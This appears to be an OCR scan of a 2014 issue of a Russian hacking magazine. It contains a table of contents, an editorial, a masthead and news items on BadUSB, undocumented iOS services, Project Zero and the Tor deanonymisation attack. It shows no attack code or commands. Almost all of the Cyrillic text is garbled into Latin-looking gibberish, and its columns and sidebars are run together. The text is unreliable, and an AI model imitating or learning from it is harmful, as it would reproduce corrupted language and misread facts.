o~

{0

——cs
Y
N
=
=

CmapTtdoH
B KayecTBe YMHOro
nysnbTa s BCero

cTp.48

-Yacbi c Wi-Fi
CBOMMM
pykammn

cTp.54

YS93BMUMOCTN
SharePoint

cTp.74

KakycTtpoeH
iCloud
Keychain

I/I3MEHI/IBlIJI/IE P

ATl

‘, /,[ ' “‘Tm‘" T

™

D

/ .

—i_ HA BLACK HAT 2014

PEKOMEHAOBAHHASAA LIEHA 360 P

HREPR ™

cTp. 10

i

2

Cover
Story

] ."l.!l‘

{ BOTHETbI.”

10 xapaKOpHbIX 0030POB CaMbIX pacnpocrpaHe;HHblx
1 onacHbIX 60THETOB BCEX BPEMEH 1 HapOa0B

¢« ¥

- .

.

i
— =
=4 1 T |
i
Uiy m) \
W plp | | :
| L
‘ L'L’ J .l
O] il
1, 1 '
J 11 T r
[ Eaissl -
i u
= EREEERREEE L
HA]
{»
SIS 4
'y,
4
n E _o
= W —
o\ ———
s
28 ==,
':I_: O s el
Z _—
Ll L usakmres 0
= —kO
O _g
T _O
(ZD —— ]
R e
I & —/!/—
0 S ————
R
m 5 e

4






CEHTABPb 2014

N2188

MEGANEWS Bce HoBOe 3a nocneaHnit Mecsi,
TOM-10 BOTHETOB BCEXBPEMEH U HAPOJL OB Pa3bsicHseM no xapakopy 3a Kaxoro
BLACKHAT U DEF CON 2014 [iBe kynbTOBblE 3anafHble KOHOEPEHL UM FNa3aMun HaWKUX Apy3eit
MNop6opka npusTHBIX NONE3HOCTEN Ans pa3paboTynkos
OcBanBaem npocTewne npuems aBTomaTuaauum pabotsl ¢ LibreOffice
0630p cepsucos-sanuaatopos ans HTML, CSS, XML uRSS
IWANTTO BELIEVE Kak 3a cny4aitHbiMu1 laHHbIMU ULLY T 3ar0BOPbI M HAXOAAT UX
WBENLLAPCKUIA HOX AN IPHONE KpyTbie TBukm 3 Cydia, KOTOpble akTyanbHbl U CErOAHS
(/BN CKOBAHHBIE OJJHOW LLEMbO Cuctema ynpaBneHns KOMIOM ¢ yGTPOiiGTBa U 06paTHO GOBCTBEHHOTO M3rOTOBNEHUS
YACbICWI-FICBOUMU PYKAMM [lenaem norofHyto ctaHumio Ha 6aze STM32F3DISCOVERY n Wi-Fi-mopyns WizFi220

EASYHACK Xakepckue ceKpeTbl NpOCTbIX Bewei

OB30P 3KCNIONTOR AHann3 CBEXEHbKNX y3BUMOCTEil
WD N0JI0N AEDONT! Cpy6aem nog KOpeHb CTaHAAPTHbIE HACTPOIAKM BE6-CepBepoB
KONOHKAANEKCES CUHLLOBA Amazon — 6e30nacHoCTb 06/1aka B HaLuX pykax

SHAREPOINTHA CJTYKBE XAKEPA Kak MHCTpYMeHTbI A5 pa3paboTynkoB SharePoint MoryT noMmoyb npu TECTUPOBAHMM HA NPOHUKHOBEHUE
BHEOPAXICLOUD KEYCHAIN MpucTtanbHo paccMatpuBaeM MexaHu3m aenoxuposaxus naponeit g iCloud u ero 6e3onacHocTb
HARADARE KAKHATIALOHM OcHoBbl paboTbl ¢ ppeiimBopkom radare2

X-TOOLS Co¢tanaB3nomanaHanusa6e3onacHocTy

APACHE-B3K/0Pbl, KOTOPbIE KACAKOTCA KAXKA0TI 0 Pasbupaem Chapro (Darkleech), SSHDoor, Cdorked.A, Java.Tomdep 1 Snakso.A
100 CoBeTbl, MaHyansl, peitn-ctopu uZOMG TEH DRAMA 13 nepBbix pyk
108 PeweHne crackme ot «JIK» n HoBas napTus 3agay ot Embarcadero

Pa3bupaeM yHuBepCanbHblit cnoco6 paboThl ¢ COAEPXMMbIM B 061a4HbIX XPAHUANLLAX

CTAHb I'YPY ZFS Kpatkuit 0630p puctpubytmsa ZFSguru

13 USYMPY,0B 0630p cambix He0Obl4HbIX GYHKLMIA Linux-ancTpubyTBoB

NOYTOBbIN AKCNPECC Bi6upaem Be6-KNNMEHT 3NeKTPOHHON NOYTHI

AKCTPAMYCKYJ1 0630p Percona  conyTCTBYIOLLMX NHCTPYMEHTOB
LIMWOHCKUIIYACODOH 0630p HapyyHoro cmMapTdoHa iconBIT CALLISTO 300

TEJIE®GOH CJIASEPHbBIM MPULLEJTIOM 0630p kopeiickoro dnarmaHa LG G3

FAQ Bonpocsb! 1 0TBETHI

WWW2 Ypo6Hble Be6-cepBuch




bl AEPXVLb B pyKax MOW ABaguarb NATbIN HOMepP «Xa-
Kepa» 1 NepBblil 419 MEHS B KAYECTBE [aBHOro peak-
Topa XxypHana. He 6yany nonro pacckasbiBaTb O TOM, Ha-
CKOJIbKO 3TO BaXHO AJ151 MEHS, @ Cpasdy nepenay K aeny.

Yto OymeT B «Xakepe» ganbwe? Ecnu kpaTko: MakcUMym
xapgkopa like in the good old days. Mol yxe BepHynn pybpuky
«PPUKNHI» HA NOCTOSIHHOW OCHOBE, 3amnaHMPOBaN HOBbIV LK
«AkafemMmm» Co CNoXHenwnmn Bonpocamm ua mupa C++ n noa-
roTOBM/IM HECKONbKO KPYTbIX pecepyeit ans OyayLimx HOMEpOB.
General-KOHTEeHTa CTaHeT elle MeHblle, a KOAUHTa, UCCeaoBaHni
6e30MacHOCTU 1 devops-nHXMHUPUHIa eLle 6onblue.

«Xakep» BCerga B KAKOM-TO CMbIC/ie Obln XypHanoM Ans us-
6paHHbIX. Mbl HMKOrAA He THAaNNCh 3a MOAOW, PEUTUHIaMK, He Nn-
cann 0 TOM, 4TO «xakepckas rpynnuposka CyberVor Banomana
YyeTblpe Munavapga naponen» :), He AOnyckanu OTKPOBEHHON
«KeNTU3Hbl». OAHaKo, HECMOTPS HAa BEPHOCTb TPAAMLMAM, 3a MNo-
crnepgHve NeT NsiTb C KOHTEHTOM BCe Xe Npoun3oLnn 6onbLive ns-
MEHEHMS.

Korza >xypHan Tonbko co3paBancs, Mbl ckadanu cebe: «Hawa
uenb — 41obbl Cpeay Hawwux pebsT nporpammMupoBaHue CTano
camoi nonynspHon npodgeccueri». Mbl ucnonb3osBanu Ajs 3To-
ro Bce, 4TO MOMX MNpuaymartb, — pasBiekasnchb, Aypadninch,
Kak Mornu nonynspuauposanu NB, Hawy cyOKynsTypy u Tary K IT
B NI0ObIX ee NposiBNeHNsX. N s cuntato, 4To Mbl BO MHOTOM AOCTUI -
11 CBOE Lienu.

CerogHsi «Xakep» — 3TO XypHan A8 CEeKbloPUTU-CNeLmanm-
CTOB, Pa3paboT4MKoB, devops-MHXEHEPOB U1 B LIESIOM AJ19 TMKOB —
Aymato, No TemMam, 0 KOTOPbIX Mbl MULLEM, Tbl 3TO U CaM 3aMeTuI.
N pns aTux nogen, Takmux Xe, Kak U Mbl camu, «Xakep» UCMOoNb-
3yeT niobyld BO3MOXHOCTb, 4TOObI BbUIOXWTb KPYTOW KOHTEHT,
KaK B MPVIHT, Tak U B OHJIANH.

Kctatn, 06 onnaitHe. 9 pymaio, Tbl 3aMeTWI, YTO Mbl HAKOHELL-
TO BbIKATUAN B NPOAAKLLEH HOBYIO Bepcuio xakep.ru. HoBbIn cant
Kyna 6onee MHOOPMATUBEH U UMEET KJIACCHYIO MOBUIIbHYIO BEP-
cuto. Ho aTo elle He Bce, B OyaylleM KapAMHaIbHO U3MEHUTCS
v Haw dopyM. Cneam 3a o6HOBNEHUAMM Ha xakep.ru!

Cnacub0, 4TO OCTaELLbCS HAaCTbIO COOBLLECTBA ][, Mbl LLEHVM 3TO.

WUnba PycaneH,
rnaeHblii peaaxTop Il
@IllyaRusanen
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N2 (09 (188) Nara seixoga: 03.09.2014
Wnbs PycaHex WpuHa YepHoBa EBrexus
naBHblil pepaktop Bbinyckalowwii peaaktop Lapunosa
rusanen@real.xakep.ru chernova@real.xakep.ru JluteparypHblii pegakTop
PEJAKTOPBI PYBPK
WUnbs Unem6uTos AHTOH «ant» )XykoB Nasen Kpyrnos
PC ZONE, CLIEHA, UNITS B3JIOM UNIXOID n SYN/ACK
ilembitov@real.xakep.ru ant@real.xakep.ru kruglov@real.xakep.ru
Opwii lonbues EBreHuit 306HUH Wnbs Pycanen
B3/10M X-MOBILE KOOWHI
goltsev@real.xakep.ru execbit.ru rusanen@real.xakep.ru

Anekcanpp «Dr. Klouniz»
Jlo3oBckuit
MALWARE, KOAWHI
alexander@real.xakep.ru

Enena Tuxoxnosa Anuk Baithep EkatepuHa CenusepcToBa
ApT-AupekTop [nsaiinep [msaiinep
06noxka Bepcranblymk
AHTOH «ant» )XykoB Amutpunii «D1g1» Maxkcum TpyGuubIH
Boinyckatowuit pegaktop EBBOKMMOB MoHTax Buaeo
ant@real.xakep.ru Security-pasgen

evdokimovds@gmail.com

PEKJIAMA

AnHa flkoBneBa Mapus CamcoHeHko
PR-meHenxep MeHenxep no pekname
yakovleva.a@glc.ru samsonenko@glc.ru

PACIMPOCTPAHEHWE V1 CKA

Moapo6Has nHdopmauws no nognmcke shop.ale.ru, info@glc.ru, (495) 663-82-77, (800) 200-3-
999 (6ecnnatHo ans pernoHos P® 1 aboHento MTC, «Bunaiin», <Mera®oH»)
OTaen pacnpocTpaHexus

Haranbs Anexuna (lapina@glc.ru)
Anpec ans nucem: Mocksa, 109147, a/a 25

NHAEKCBEIMOYTO

no 06beAnHeHHOMY KaTanory 10 KaTanory poCcCMiicko no karanory «fasetbl,
«[pecca Poccun» npeccel «[oyta Poccun» XypHanbl»
29919 16766 29919

Bcny: kayecTBy neyarv: claim@glc.ru. Anpec pepakumu: 115280, Mocksa, yn. Jlenutckas Cno6o-
na,n.19,0merannasa. U3parens: 000 «dpcua»: 606400, Huxeroposckas 06n., banaxHutckuiip-H, r. banaxxa, Copetckasni.,
. 13. Yupeautens: 000 «Mpuntep danwmonc», 614111, Mepmckuit kpait, . Mepmb, yn. 16noukosa, 4. 26. 3aperncTpuposaqo
B! icny an3opyBcdep ] OHHbIX TEXHONOT WA IX i (
pe),caupetenscteoMUNeDC77-567560129.01.2014ropa. OTnevaraHos Tunorpad PL116,Korj 27,45101
Kouvola, ® Tupax 96 500 P ueHa — 360 pybneit. MHeHue peaakumn He 06513aTenbHO
C poB. B biB penp pa Nnua, ucnonb-
3yloLwue AaHHY MH¢OpMaLLI/IIO B NPOTUBO3AKOHHbIX LENsiX, MOryT BbITb NpuBNeYeHbl K OTBETCTBEHHOCTU. Pe‘laKLlI/ISI He HeceT
OTBETCT 3a bIX 001 iiB Homepe. o nnony npaBHauc-
no. p XypHana ) no agpecy: lc.ru. © XypHnan «Xakep», P®, 2014
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MEGANEWS

BLACKHAT, KAKOBbIYHO, BOrAT HA AOKJIAAbI

lack Hat Hepapom cunMTaeTcs ogHUM U3 JyHLINX
MBEHTOB Takoro popa, 34eCb OEMOHCTPUPYIOT
OYeHb MHTEPECHblE MAEeW, YUTAlT KPyTble [0-
Knaabl, PackpbiBaloT MUPY rna3a Ha [A0BOSbHO
HeoyeBunaHble 6arn. Tak, B 9TOM rogy 0Cob6eHHO
yOanocb BbICTYMN/IEHME N3BECTHbIX xakepoB Kap-
cTeHa Hona n flko6a Jlenna na KoHCanTUHroBomn
komnaHun SR Labs; Temoii nx goknaga crana «dyHaa-
MeHTanbHas 6e33alMTHOCTb yeTpoincTB USB».

KoHeuHo, BCe 1 Tak 3HAIOT, YTO MO MOHATHLIM NPUYKN-
HaM MoAako4aTh K CBOEM MallMHe kakue nonano ¢netu-
kn He ctouT. OgHako Hon un Jlennb nownun aanblue, 3as-
BVB, 4TO OMACHbI HE TONbKO (IELLKM, HO 1 BOOOLLLE NlIoOble
USB-peBaiicbl. Begp ManBapb MOXHO He NMpPOCTO 3anu-
catb Ha GneLKy TPaANLMOHHBIM CNOCOO0M, MOXHO Mo-
CTYNuTb ropasao xutpee. CneumanbHO Ans AOKNaAa 1Uc-
cneposatenu codpanu nporpammy BadUSB (srlabs.de/
badusb), ko KOTOpOW cneayeT NOMECTUTb... B MPOLLMBKY
USB-ycTpoiicTBa. N HeBaxHO, Mbilwb 3TO, BEO-kamepa,
cMapTdoH nnn dnewwka. Mpr NOAKMNOYEHNUM K KOMMbIO-
Tepy BadUSB, kak niobas yBaxaiowias cebGs mansapb,
TBOPUT C MaLUNHON GECUYMHCTBA: MOXET BUAOU3MEHSTh
dannbl, nepeHanpaeBnaTb Tpadwuk, M3IMEHMB 3anucu
DNS, MOXEeT NPUKMHYTLCA KNaBuaTypoi 1 3MyMpoBaTh
BBOJ, JAHHbIX W NPOU3BOJIbHBIX KOMaHAa. CnoBoMm, He-
NPUATHOCTEN OT Takol «3apasbl» MOXHO MOJSy4YUTb MHO-
ro, a BOT nomartb Nof06HYI0 Yyrpo3y B CUCTEME, HaMNpo-
TUB, CNOXHO. COBPEMEHHBIMU METOAAMM OBHAPYXeEHNs

SOSbLLUAA AbloKa
3 MaIEHBKOM US

BpenoHocHoro MO npakTu4eckn HEeBO3MOXHO BbISIBUTb
dakT MoandmKaumm NPOLLNBKIX AeBaiica, a 3HaunuT, 1 06-
HapyXeHne atakM OO MOMEHTa ee COBEpLUEHUs ToXe
npo6nemarnyHo. Hon u Jlenne npepnonaratot, 4To 06-
Hapy>XWTb 4TO-TO CTPAHHOE MOXHO BOOOLLE NWLLb Yepes
AmM3acceMbnMpoBaHNE YCTPOWMCTBA U PEBEPC-UHXUHU-
pVHT. Jeno B TOM, YTO NOJYy4UTb KO, MPOLUMBKN C BHELL-
Hero USB-ycTpoicTBa MOXHO NULLb NPU y4acTun camowm
MPOLUVBKM, KOTOPAsi, B CJly4ae HanM4msa mansapuv, MOXeT
6e3 Nnpobnem nokasatb YNCTbIN Aamm.

Bonee Toro, napHsm n3 SR Labs ynanock Hanagutb
B3aumMopencTene mexay BadUSB B cucteme n Heno-
CPeACTBEHHO Ha MNepenpoLuMToOM yCTpoucTee. To ecTb
YCTaHOBNIEHHAs Ha KOMMbIOTepe nporpaMmMa crnocob-
Ha n3MeHuTb Npolwmeky no USB, a Ta, B cBOIO o4epenp,
MOXeT YCTaHOBUTb 3710Bpen B CuUCTeMy. Takum 00-
pas3oM, He CTOUT MOAKoYaTb HE TOJSIbKO HEMOHSATHbIE
USB-ycTpoiicTBa K CBOEMY KOMMbIOTEPY, HO 1 cBOM USB-
YCTPOMCTBA K NOCTOPOHHUM TMK.

Z

v

Mapus «Mifrill» Hepéposa
mifrill@real.xakep.ru

HoBocThb
Mecsua

U3panue Wired ormeuaer,
YTO NOA,0GHBIMU METO-
Aamu, BeposiTHee BCero,
NoJIb3YIOTCA CreLcnyXobl
(pa3ymeertcs, He adpuLmn-
pysi ceonx pa3paboTok),
BeAbnepenpowuntsb USB,
B KOHLIE KOHLIOB, He TaKasi
YX CIoXHasi 3aga4a.

B 3ABEPLUEHWE I0KITAA HOM «[1OPATJOBAIT» AYANTOPUIO 3AKITIO4EHINEM,
4TO «MCMPABWTb» BCE OMCAHHOE HAKAK HETIb3, PA3BE 4TO CTOUT
bbITb YYTb BOJIEE MMAPAHONKOM 1 CIIEAWTD 3A TEM,

4TO 1 KYZIA NOOKITHOYAELLD
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CTPAHHbIE
[MTPOUECCHI S
«ABJTIOYHbIX»

pa36/10KMPOBKM YyCTPOIA-

A4
ctBa. Kpome Toro,
nonb30BaTesb AOJIKEH
cornacutbCca Hanoa-

KJIIOYEHUE YCTPONCTBA
KKoMnbloTepy. Bce aaH-
Hble NepeAaloTcs no Ka-

OKCNEPTHENPO3PAYHO HAMEKHYJ, YTO APPLE CJIEAUT
SAKAXAbIM LLATOM NOJIb30BATEJIEN

Gento Ha AOBEPEHHBI

PYMHbIE KOMMAHUM MOCTOSIHHO NMOABEPraloTCS OOBUHEHUSIM B LUMMOHA- KOMMbIOTEp C NpeaBapu-
Xe 1 cbope NNYHBIX AaHHbIX, UX NMOCTOSIHHO NMOMPEKAalT TEM, YTO OHU TenbHbIM WndposaHmem
TaHO COTPYyAHMYalOT co cneucnyxbamu. OgHako yauie BCEro rno- KNI0YaMM, KOTOPbIX
[OOHblE YTBEPXAEHUS TONIOCIOBHBI MW MOAKPENEHbl OYepPEesHOW yApple HeT», — nosicHs-
He CNULLKOM 3[0pOBOI Teopueli 3aroBopa. Joknaa JxxoHataHa 3aapcku cTtan eTunvonpasabiBaeTcs
VCKIIOYEHNEM, BOT TONIbKO HE COBCEM SICHO — MPUSATHBIM UIN HE O4YEHb. Apple.

Ha xakepckoii koHdepeHumn Hope X cneumwanuct B o6nactn MB OyxoHaTaH
3Aspcku 3aumTan goknan, Bolika3aB 00€eCnoKOEHHOCTb TeM pakToM, 4TO Ha BCEX
iOS-ycTpoiicTBax NOCTOSIHHO KPYTATCS HECKOJSIbKO CKPbIThbIX POHOBLIX MpoLiec-

COB MasoOMOHATHOIO HasHa4YeHusl. 3OApCKM MpuULLen K BbIBOAY, YTO KOMMAHWUS

«MHOrO TPyAMNach, 4TO6bl 06ecneunTb AOCTYN K AAHHBIM Ha NOMb30BaTENBCKUX

YCTPOWCTBax Mo 3anpocy MpaBOOXpPaHUTENbHbIX OPraHoB». OKCMNepPT yBEPEH,

470 Apple MOXET NONy4YnTb Aaxe 4YacTb 3anapOsIEHHbIX AaHHbIX CO CBOMX YCTPOMCTB. B yacTHOCTM, Takoi cno-
co0b nossonseT n3sneyb SMS, poTtorpadpun, BUAEO, KOHTAKTbI, aYAN03aNMCH U MCTOPUIO 3BOHKOB. [pun 3ToM
HEOOCTYMHbl ANS U3BNEYEHUsI 3NEKTPOHHbIE NMUCbMA, 3anucK B eXeOHeBHUKe Uiv MHopMaumns CTOPOHHMX
MPUIOXEHWIA.

JxoHaTaH 348pckun pacckasan o ToOM, 4To co BpemeH iOS 4 (koroa oH cam paboTtan npodeccunoHanbHbIM
KPUMMHANUCTOM W BOCCTaHaBNMBaN AaHHble ¢ ycTPoncTB i0OS) cxema WndpoBaHUS AaHHbIX NPaKTUYeCKU
He nameHunaco. o4t BCe AaHHble Ha YCTPOMCTBax 3alm@poBaHbl KJIIOHYOM annaparHOro NPONCXOXAEHNUS
(NSProtectionNone), oH HMKakK He CBsi3aH C naponem nons3osatens. U Ha kaxaom iOS-geBaiice 3anyLueHbl
HEe0KYMEHTMPOBaHHbIE CEPBUCHI, MO3BONSIOWME pacluMdpoBaTb NPaKTUHECKM JtoOble NONb3oBaTeNbCKue
dannbl. 3a9pCKN roBOPUT, YTO 3TN CEPBUCHI UCMONBL3YIOTCA B KOMMEPYECKNX NporpaMmmax OT HECKOJbKUX
NPoOV3BOANTENEN UHCTPYMEHTOB AN KpumuHanuctuku: Cellebrite, AccessData (Mobile Phone Examiner)
1 Elcomsoft. OH coobLmn Takxe Ha3BaHus 3TUx npoueccoB: com.apple.pcapd n com.apple.mobile.file_relay,
a Takxe com.apple.mobile.house_arrest.

YomBuTensHo, Ho Apple oTBeTMNa Ha «06BUHEHME» 3O0SPCKU (B KaBblYKax, Tak Kak cam 3KCMepT Tenepb
YTBEPXXAAET, 4TO BOBCE He 06BUHAN Apple B coTpyaHuyecTse ¢ AHB 1 ymbILLIeHHOM ocTaBneHn 63Ka0poB).
Apple nosicHuna HasHa4yeHne BCEX BbI3BaBLUMX MOAO3PEHUS NPOLECCOB. PasdymeeTcs, ¢ Ux NO3nuUnii, BCe
NPOLECChl 0Ka3annChb NPOCTO «AMArHOCTUYECKUMWN MHCTPYMEHTaMM» 1 BCE CAENaHo AN ynobcTea nonb3o-
Barensi. KTo-to comHeBanca? Mol HeT. M 310, KCTaTh, He OTMeHsIeT Toro ¢akTa, 4TO BCe Haxoaku 34spCku
[eACTBUTENBHO MOTYT GbiTb NCMOMb30BaHbI OTHIOAL HE BO 651aro nonb3osarens.

Mo cytn, Apple noareepauna Hanuuve 63KA0pPa, 0 KOTOPOM rOBOPUI Ha KOHdepeHuun 3aapcku. Bce aTo «cyacTbe»

AENCTBUTENIbHO MOrYT UCMOMb30BaTh 3/I0YMBbILLIIEHHUKM, Cieucayx6bl v Tak aanee: support.apple.com/kb/HT6331.

The Pirate Bap

The Pirate Bay no-npexHemy
He ToHeT. bonee Toro, Tpekep
npeacTaBu HOBYIO, YAOOHYIO
BEPCUIO AN151 MOBUbHbIX YCTPONCTB
themobilebay.org. 3ameuy, 4T0 Npe-
Oplayas MmobunbHas Bepcus
[encTBUTeNnbHO Obina Tak yxacHa,
4TO el0 BPAA, N KTO-TO NOJSIb30BasICS.

YauBuTtenbHoe Aaeno, CornacHo
oTtyeTy Bromium Labs, konnyectso
YA3BMMOCTEN, HalaeHHbIX B |E, ToNb-
KO pacTeT, B TO BpeMs Kak y Apyrunx
6pay3epoB 4nco 6aros, HaiaeHHbIX
3a 2013 roa, v 3a NepByto NOSIOBUHY
2014 roga, yMeHbLUMNOCh NOoYTN
BABOE.

HakoHeu,-To noouT pekopg 2011
ropa rno CKoOpoCTu nepeaaqv AaHHbIX
no 0gHOMY ONTOBOOKHY. B [laTckom
TEXHUYECKOM YHUBEPCUTETE CyMEenun

nobutbcs pesynsrarta 43 Tepabuta

B ceKyHzy. MNoka, KOHeYHO, TONIbKO

B YCNOBMAX NabopaTtopuu.

osoft Imagin

W windows  ImagineCup MR, o

B Cuatne cocrosanca ouHan
Imagine Cup 2014. MNo6eantenem
B kaTeropuu «Mrpbl» Bnepsble cTana
poccuiickas komaHga Brainy Studio

(MHUNY, r. Mepmb) ¢ NPOEKTOM

TurnOn. Pe6siTa NOny4nnu rpaHT

B pasmepe 50 Tbicsy J0N1apoB

Ha fanbHelLlee pasBuTUe NpoekTa.
Mosppasnsiem!
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GOOGLE CO3OAET
XAKEPCKOE
NOAPASAEJEHVIE

Everybody needs a hacke,.

oogle odwuumanbHo coobuiaeT O co3gaHuM KOMaH-
abl Project Zero, B KOTOPYIO BOMAYT OMbITHbIE CNeuu-
anuctel B chepe mHdpopmMaumoHHon GesonacHocTn
aka xakepbl. Ha nneun aTux napHen nsxkeT, HU MHOro
HV Mano, 6e30MacHOCTb B HTEPHETE BOOOLLIE, TO €CTb MOUCK M10-
6asbHbIX YyA3BUMOCTEN.

OduumanbHbld 610r MOMCKOBOrO rMraHTa rnacuTt, 4To 3a Mo-
cnepHee Bpemsi coTpyaHukn Google oBHapyXunm Takoe Konuye-
cTBO Oday B pa3nnyHbIX NporpamMmmMax, 4To pPyKOBOACTBO KOMMaHUN
pewwno chopmmpoBaTtb 0CobbI xakepckuii otaen Project Zero.
MHTepecHo, 4To cdhepa aedaTensHOCTU otaena GakTuyeckm Heo-
rpaHunyeHHa. Miccnenoartb MOXHO @aGCONMIOTHO NIoByI0 NporpaMmy
nnu Be6-CepPBUC NPU YCNOBUW, YTO OHW JOCTAaTOYHO MOMYNSIPHbI.
My6nnkaumsa Bcex ya3BMMOCTEN MPOUCXOAUT Mocne npeaBapu-
TenbHOro yBeAOMJIEHUs aBTOPOB NMPOrpaMmsbl 1 Bbinycka natya.
Kpome aBTOpPOB, HM OJHY TPETbIO CTOPOHY YBEAOMASTL HE OyayT,
nycTb 3TO AaXe MPOTMBOPEYUT MHTEPEecam HaumoHanbHON 6e3-
onacHocTu. Mo gaHHbIM n3ganua Wired, cpeam HblHELLHMX YNEHOB
Project Zero — 6puTtaHckue crnieumanuctsl Tasuc Opmanav u Mex
Bup, a Takxe HoBo3enaHael BeH Xoykc. Bcero B komanay nna-
HUPYIOT HabpaTb Nopsiaka AecsTy yenosek. Bce HaaeHHble ys3-
BMMOCTM ByayT 3arpyxarb B OTKpbITyto 6a3y: code.google.com/p/
google-security-research/issues/list?can=1. Google Hageetcs,
y1o paboTa Project Zero no3sonut nabexarb cuTyaumii MmacliTaba
Heartbleed.

«H He BVXY OyayLLEro
ana VR-texHonormnm,
YCTpomncTBa BUPTY-
IbHOV PEaTbHOCTH,
paBHO kak Kinect

n Move, CNnLLKOM

YTOMISIOT, OOHO 3TO
VKE MOXET OTOVTb BCAKOE
HE UMW NONb30BAaTbCS>».

>

Ha6op B ProjectZero
OTKPbIT. «Mbl HAaHUMaeMm
cambixX ny4ywmx cneum-

anuctosno 6esonac-
HOCTU C NPaKTU4ECKUM
CK/IafA0M yMa, KOTOpbie
o6yayT 100% pabouyero
BPEMEHU NoCBALLaTh
ynyulueHuto 6esonacHo-
CTUBCEro UHTEPHeTa», —
nuweT B opuumnanbHoOM
o6nore Kpuc 3BaHc,
pykosoauTtens Project
Zero.

IxoH PomEPO,

NporpaMmMnCT U an3anHep, ocHoBartesb id Software

000

3aaomeHBTC.com

—> KopoTKue AOMEHHbIE UMEHA LIEHNNCh
BCeraa, Ho CyMMa, KOTOpyto KOMNaHns —
npoussoauTens Bitcoin-o6opyaoBaHuns
GAWMiners 3annaTtuna 3a gomeH BTC.com,
BCe paBHo BrievatnseTr — 1,1 MunnmoHa
ponnapos! BnpoyeMm, foMeHbl, Tak nnu
VHaye CBA3aHHbIE C KPUMTOBAMIOTOM, NOYTU
BCe CTOAT Hemano. Tak, BitcoinWallet.com
HeJaBHO npoganu 3a 250 Tbics4 A0NNAPOB,
XOTS BCEro napy feT Ha3az OMEH CTouN

11 ThICAY.

13.01.2015

3aKOH4YNTCH
nonanepxka Windows 7/

—> Microsoft Ha3Bana aatbl NpekpaLLeHns
noaaepXku ans uenoro psga cesonx OC,
TouHee paty. 13 aHBapsa 2015 roga npe-
KpaTuTca 6asoBas nogaepxka ana Win 7
(orpaHuyeHHas noaaepyxka NpoaoIKUTCS
0o 2020 ropa), a Takxe Windows Server
2008, Windows Phone 7.8, Windows
Storage Server 2008, Exchange Server 2010
v Dynamics.
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O B3JIOMAXTOR

HABLACKHAT OTMEHWJINHTEHUE BOKJIALA O B3JIOME ONION-CETU, ATEM BPEMEHEM
BCKPbIJIACb UHOOPMALIUS O NONbITKAXMACCOBOW AEAHOHUMU3ALIUN IOSEPOB

eKumMs noa HadBaHnem «Bam He HyxHo paboTtaTts B AHB,

4yTOObI CIOMaTh TOr: AeaHOHMMM3aLUMs nob3oBarenem

C NMOMOLLIbIO 6I0AXKETHOr0 PELLEHNSI», KOTOPYIO AOMKHbI

6111 ynTaTh Ha Black Hat, 3apaHee BbidBana Hemarnblii

MHTepec. B kpaTkom copepxaHun, npeasaputesisHo onybamnko-

BaHHOM Ha oduuManbLHOM caiiTe, roBOpuIOCb O BO3MOXHOCTU

[,€aHOHVMM3NPOBATb «COTHU ThICSY Nosib3oBateneli Tor u Tbicsuun

CKPbITBIX CEPBUCOB B TEYEHME HECKOJIbKUX MECSILEB», C Boaxe-

TOM onepauuy MeHee 3 Teicsy gonnapos. Vccneposarenn coob6-

Lann, 4To ycnewHo onpoboBanu CBO MeTof Ha npakTuke. Cei-
Yyac OnMcaHue yxe yaaneHo.

Jlekumio oTMeHunu. Ha aTom HacToanu IOPUCTbl U3 YHUBEP-

cuteta KapHerm — MennoHa. YneHbl oprkomuteta KoHdepeH-

POCCUNCKIINPLIHOK MOBUTBHBIX TP

LMW MOSICHWUAN, Y4TO C HMMM CBSI3aJIUCb afBOKaThl
yHMBEpCUTETA U MPOMHMOPMUPOBANM, YTO OAUH
13 aBTOPOB A0K/afa He MMEET fnpaBa BbICTyNaTb
Ha KoHbepeHUMK, Tak kak maTtepuanbl Ana nyénvka-
UMM He 0f06PEHbI aAMYHUCTPaLIMEN YHUBEpCcUTeTa
unu nHctutyTta Software Engineering Institute (SEI).
PaspaboTunkn Tor He 3acTaBuv cebs XaaTb U Npo-
KOMMEHTMpPOBann cutyaumio. Bo-nepsbix, OHW,
KOHEYHO, COOBLUMAN, YTO He AABWUAN HA UCCeno-
BaTenel 1 NeKumio OTMEHUIN BOBCE HE M3-3a HUX.
Bo-BTOpPbIX, OHM COOBLLMAN, YTO 3HAIOT O Bare (pas-
paboTuMKK CBA3ANNCHL C aBTOPaMM AokNana 1 yToy-
HUNKM MHdOpMauMio), 0 KOTOPOM AoskHa Obina
NovTN peydb, NMPEAMNOYMTAOT MOKa He pacKkpbiBaTb
petanen, HO ¢artanbHON YA3BUMOCTb HE CYUTaloT
1 cobupaioTcs ee UCNPaBUTb.

CnycTta OykBanbHO HeOento Mocsie ONMMUCaHHbIX
cobbITUIA CTaNo SICHO, 4YTO, BUAMMO, Npo 6ar 3Hanu
[aneko He TO/MbKO aBTOPbl AoKnaga u pa3paboT-
yukn Tor. Tor Project npuaHan dakt macluTabHom
aTaku Ha CeTb C Lenblo AeaHOHMMM3aLmMn Nonb30-
BaTeneii. Ataka gnunacb 60nee NaTv MecsiLeB C UC-
Nonb30BaHNEM KOMOMHALMWM [OBYX TEXHWK: aTaku
c noarTeepxaeHnemM Tpadwuka (traffic confirmation)
1 cTaHgapTHoW atakm Cubunnbl (Co3paHne OgHUM
JIMUOM MHOXECTBa Y4YeTHbIX 3anucein). B utore
3/10yMBILLIEHHWKAM yAAnock 3axBatuTb 6,4% cTo-
poxeBbix y3510B ceTn. CoobLiaeTcs, 4TO B MOMEHT
MOAKIIOYEHVS BPEAOHOCHbIX Y3N10B B siHBape 2014 roga oneparto-
pbl CETV 3aMeTUIM MaCcCOBOE NOAK/OYEHME, HO OLLMBOYHO COYn
€ro HeonacHbIM.

ATtaka Oblna HanpaBneHa Ha OTcnexvBaHue obpalleHus
K CKpbITbIM cepBucam Tor. He CBSiI3aHHbI CO CKPbITbIMU Cep-
BYCaMu Tpadurk He Obln 3aTPOHYT. MNoka He COBCEM SICHO, Kakue
MMEHHO KaTeropum CKpbITbIX CEPBMCOB M MoNb30Bateneit Obinu
OXBaY€Hbl aTakoW, HACKOJbKO OHa Bbina yCrneLHoM 1 OCTalTCs n
ellle NOAKOHTPOJIbHbIE aTakyloLMMm y3nbl. Ckopee BCero, atakyio-
LUMe He MOrIM COMOCTaBUTb 3anpockl C TPAPUKOM YPOBHS Npu-
JIOXEHWIA, TO €CTb HE MO OTCNEeANTb, Kakne UMEHHO CTPaHu-
Libl U CKPbITbIE CEPBUCHI OTKPbIBAS NONb30BaTENb, NPOCTO 3HANN
0 pakTe COBEPLUEHHbIX ENCTBUIA.

